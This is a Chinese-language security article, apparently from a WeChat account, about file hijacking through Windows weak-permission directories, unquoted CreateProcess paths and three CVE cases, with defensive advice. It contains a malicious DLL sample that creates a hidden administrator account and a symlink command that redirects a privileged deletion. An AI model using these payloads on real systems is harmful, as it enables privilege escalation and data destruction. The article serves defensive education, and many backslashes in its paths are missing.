在 Windows 系统中,权限管理往往是安全性的重要一环。然而,有些目录或文件的权限设置不当,就像给攻击者敞开了一扇门,让他们能够植入恶意文件、执行代码,甚至劫持合法进程或服务。这些“弱权限目录”由于缺乏有效的访问控制和安全审查,成为了攻击者眼中的“香饽饽”。他们可以利用这些漏洞修改、替换或注入文件,最终实现权限提升或系统控制。
在 Windows 中,典型的弱权限目录包括 C:WindowsTemp、C:ProgramData 等。这些目录通常用于存放临时文件,但许多应用程序和用户在使用时并未对其设置足够的权限控制。攻击者只需要在这些目录中放置一个恶意可执行文件,就能实施文件劫持攻击,进而执行代码或窃取更高权限。
本文将通过几个真实的案例,深入探讨弱权限目录带来的安全隐患,并从技术细节出发,分析其成因和防范方法。在进入案例之前,我们先从 Windows 的核心 API —— CreateProcess 开始聊起,了解它如何为这些攻击埋下伏笔。
CreateProcess 的不安全使用:隐患的起点
CreateProcess 是 Windows 中创建新进程的核心 API,它决定了程序如何启动以及路径如何解析。它的功能强大,但如果使用不当,也可能成为安全问题的源头。
CreateProcess 的基本用法
先来看看 CreateProcess 的函数原型:
BOOL CreateProcess(
LPCWSTR lpApplicationName, // 应用程序路径(可选)
LPWSTR lpCommandLine, // 命令行参数
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
BOOL bInheritHandles, // 是否继承句柄
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 环境变量
LPCWSTR lpCurrentDirectory, // 当前目录
LPSTARTUPINFO lpStartupInfo, // 启动信息
LPPROCESS_INFORMATION lpProcessInformation // 进程信息
);
其中,lpApplicationName 和 lpCommandLine 是两个关键参数:
-
lpApplicationName:指定可执行文件的路径。如果设为 NULL,系统会从 lpCommandLine 中解析路径。
-
lpCommandLine:传递给新进程的命令行参数。如果 lpApplicationName 为 NULL,这里必须包含完整的应用程序路径或命令名称。
路径解析的“坑”
当 lpApplicationName 为 NULL 时,系统会从 lpCommandLine 中解析路径。这个过程看似简单,却暗藏风险。假设 lpCommandLine 的内容是:
c:program filessub dirprogram name
如果路径未加引号,且 lpApplicationName 为 NULL,系统会按照以下顺序解析:
-
c:program.exe
系统首先尝试加载 c:program.exe。 -
c:program filessub.exe
如果上一步失败,会尝试加载 c:program filessub.exe。 -
c:program filessub dirprogram.exe
接着尝试加载这个路径。 -
c:program filessub dirprogram name.exe
最后尝试将完整名称视为文件名并添加 .exe 后缀。
这种解析机制如果结合弱权限目录,就可能被攻击者利用。
测试验证
我们编写一个简单的 PoC 程序来验证:
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
intmain(){
char *szCmdline = _strdup("c:\program files\sub dir\program name");
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (CreateProcessA(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("Process created successfully!n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lun", GetLastError());
}
free(szCmdline);
return0;
}
编译运行后,使用 Process Monitor 监控,发现如果 c:program.exe 存在,系统会优先执行它,而不是预期的完整路径程序。这就是路径解析漏洞的典型表现。
安全的用法
为了避免这种问题,正确的用法是:
LPTSTR szCmdline = _tcsdup(TEXT(""C:\Program Files\MyApp" -L -S"));
CreateProcess(NULL, szCmdline, /*...*/);
为路径加上引号,能有效防止路径被错误解析。
弱权限目录与文件劫持:攻击的温床
通过上面的测试,我们发现不规范的编码习惯可能导致程序行为偏离预期。而当这些程序涉及弱权限目录时,问题就变得更加严重。攻击者可以在这些目录中写入恶意文件,利用路径解析漏洞实施文件劫持,甚至提升权限。
接下来,我们通过几个真实的 CVE 案例,揭示弱权限目录的危害。
案例分析:从漏洞到攻击
CVE-2020-13884:EXE 文件劫持
漏洞概述:在 Citrix Workspace 卸载过程中,程序调用 CreateProcess 执行 C:ProgramDataCitrixCitrix Workspace 1911TrolleyExpress.exe。由于路径未加引号,系统会尝试加载 C:ProgramDataCitrixCitrix.exe。
攻击路径:
-
C:ProgramDataCitrix 是弱权限目录,普通用户可以写入文件。
-
攻击者在该目录下放置恶意的 Citrix.exe。
-
当管理员卸载 Citrix Workspace 时,恶意文件被执行,权限提升成功。
启示:路径未加引号加上弱权限目录,是此类攻击的常见组合。
CVE-2022-24767:DLL 劫持提权
漏洞概述:Windows 版 Git 的卸载程序在 SYSTEM 权限下运行时,会从 C:WindowsTemp 加载 DLL 文件。
攻击路径:
-
C:WindowsTemp 是弱权限目录,普通用户可写入。
-
攻击者将恶意 DLL(例如 netapi32.dll)放入该目录。
-
当 SYSTEM 用户卸载 Git 时,恶意 DLL 被加载并执行。
恶意 DLL 示例代码:
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe "/k net user hacker password /add && net localgroup administrators hacker /add"");
ExitProcess(0);
}
return TRUE;
}
将编译后的 netapi32.dll 放入 C:WindowsTemp,卸载 Git 时,系统会创建一个名为 hacker 的管理员账户。
启示:DLL 劫持利用系统加载动态链接库的特性,是权限提升的常见手法。
CVE-2022-39845:任意目录删除
漏洞概述:Samsung Kies 卸载程序存在验证不当问题,会尝试删除 C:ProgramDataSamsungdeviceprofilecache 目录内容。
攻击路径:
-
C:ProgramData 是弱权限目录,普通用户可读写。
-
攻击者创建 C:ProgramDataSamsungdeviceprofilecache,并将其软链接到高权限目录(如 C:Windowshacktest)。
-
管理员卸载程序时,目标目录被删除。
测试步骤:
-
普通用户尝试删除 C:Windowshacktest,无权限。
-
创建软链接:mklink /D C:ProgramDataSamsungdeviceprofilecache C:Windowshacktest。
-
管理员卸载 Samsung Kies,C:Windowshacktest 被删除。
启示:弱权限目录结合路径操作不当,可能导致严重后果。
总结与防护建议
弱权限目录导致的文件劫持问题,往往源于权限控制不严、路径配置错误或文件系统管理疏忽。这些案例告诉我们,安全无小事,一个小小的疏忽就可能被攻击者放大为系统性漏洞。
如何防范?
-
加强权限管理:
-
对关键目录(如 C:ProgramData、C:WindowsTemp)设置严格的访问控制,仅允许必要用户写入。 -
规范路径使用:
-
在调用 CreateProcess 等 API 时,始终为路径加引号,避免解析错误。 -
文件完整性保护:
-
使用数字签名验证可执行文件和 DLL 的来源,防止恶意文件加载。 -
定期审查:
-
检查系统目录权限,及时修补潜在漏洞。
通过这些措施,我们可以有效降低文件劫持的风险,保护系统安全。
结语
从 CreateProcess 的路径解析到弱权限目录的利用,文件劫持攻击展示了技术细节与安全管理的交织。希望这篇文章能让你对 Windows 系统的安全机制有更深的理解,也提醒我们在开发和维护系统时,多一分警惕,少一分隐患。欢迎留言讨论你的看法或经验,让我们一起成长!
原文始发于微信公众号(HW安全之路):弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论